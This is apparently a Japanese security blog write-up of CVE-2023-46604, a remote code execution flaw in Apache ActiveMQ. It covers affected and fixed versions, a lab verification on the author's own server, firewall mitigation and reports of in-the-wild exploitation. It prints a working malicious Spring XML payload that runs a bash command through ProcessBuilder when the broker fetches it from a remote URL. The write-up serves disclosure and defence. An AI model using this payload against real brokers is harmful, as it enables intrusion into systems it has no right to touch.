概要
CVE-2023-46604は、Apache ActiveMQにおけるリモートコード実行の脆弱性です。
この脆弱性によりActiveMQブローカーにネットワークアクセスできるリモートの攻撃者はOpenWireプロトコルでシリアライズされたクラス型を操作して、ブローカーにクラスパス上の任意のクラスをインスタンス化させることで、任意のシェルコマンドを実行できる可能性があります。
公開日
2023/10/27
Apache ActiveMQとは
ActiveMQはオープンソースのJavaベースのメッセージブローカーです。
複数の標準規格プロトコル(AMQP、STOMP、MQTT 等)をサポートしており、幅広い言語(Java、C、C++、Ruby、Perl、Python、PHP等)とプラットフォームの中からクライアントを選択することができます。
影響を受けるバージョン
- Apache ActiveMQ 5.18.0 ~ 5.18.2
- Apache ActiveMQ 5.17.0 ~ 5.17.5
- Apache ActiveMQ 5.16.0 ~ 5.16.6
- Apache ActiveMQ ~ 5.15.15
修正バージョン
この問題を修正した以下のバージョンへのアップグレードが推奨されています。
- Apache ActiveMQ 5.18.3
- Apache ActiveMQ 5.17.6
- Apache ActiveMQ 5.16.7
- Apache ActiveMQ 5.15.16
公式情報
- https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt
- https://activemq.apache.org/news/cve-2023-46604
技術的詳細
X1r0z氏とRapid7が作成した以下の記事に技術的な分析の詳細が記載されています。
- https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/
- https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis
PoC Code
X1r0z氏が作成したもの。
検証
上記、PoC Codeを使用します。
この検証は本脆弱性の研究目的で行います。
ターゲットサーバの環境
[root@vm-001 ~]# cat /etc/redhat-release
AlmaLinux release 8.8 (Sapphire Caracal)
[root@vm-001 ~]# /opt/activemq/bin/activemq --version | grep ActiveMQ
ActiveMQ 5.16.2
[root@vm-001 ~]# cat /opt/activemq/conf/activemq.xml | grep -E -o transport.*openwire.*:[0-9]+
transportConnector name="openwire" uri="tcp://0.0.0.0:61616
poc.xml
ClassPathXmlApplicationContextクラスをインスタンス化する際の引数configLocationにxmlファイルを指定します。xmlファイルの指定はhttpで提供されるリモートURLにすることが可能です。このxmlファイルは任意のwebサーバに配置します。
ターゲットサーバが外部のインターネットへの接続に制限がある環境では、悪意のあるxmlファイルをロードできない為、攻撃を成功させるのは困難と思われます。
xmlファイルは、ProcessBuilderクラスのstartメソッドでOSのコマンドを実行するという内容です。検証する実行コマンドはecho Hello > /tmp/RCE_success
です。
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>echo Hello > /tmp/RCE_success</value>
</list>
</constructor-arg>
</bean>
</beans>
実行
※検証環境の情報を出力しないようソースコードを一部変更しています。
結果
成功
- /tmp/RCE_successファイルが作成されていることを確認。
- /tmp/RCE_successファイルの中身が「Hello」となっていることを確認。
- コマンドの実行ユーザはActiveMQの実行ユーザであることを確認。
- 以下の記事でログに出力されたと記載があるが、今回の検証ではログ出力は確認できず。
https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis
OpenWireの通信ポートをFWで制御
OpenWireのListenポート(デフォルトは61616)をFWで送信元IPアドレスを制御。
通信できなくなるので当然、攻撃は成功しない。
対策をするうえでの確認観点
検証結果を踏まえ、本脆弱性の対策をするうえでの確認観点は以下と考えます。
- OpenWireプロトコルを使用しているか。
- OpenWireのListenポートにリモートからアクセス可能か。
- ActiveMQサーバからインターネットへの接続は制限されているか。
CISA KEV Catalog
11/2に追加されました。
早いもので10/10に悪用があったようでゼロデイですね。
- https://www.securityweek.com/apache-activemq-vulnerability-exploited-as-zero-day/
- https://www.csoonline.com/article/657956/hellokitty-ransomware-deployed-via-critical-apache-activemq-flaw.html
参考URL
- https://nvd.nist.gov/vuln/detail/CVE-2023-46604
- https://www.rapid7.com/blog/post/2023/11/01/etr-suspected-exploitation-of-apache-activemq-cve-2023-46604/?utm_medium=1email&utm_source=marketo&utm_campaign=cm-bau&utm_content=etr-cve-2023-46604&utm_meta=cm10463
- https://access.redhat.com/security/cve/cve-2023-46604
- https://socradar.io/critical-rce-vulnerability-in-apache-activemq-is-targeted-by-hellokitty-ransomware-cve-2023-46604/
- https://github.com/rapid7/metasploit-framework/pull/18501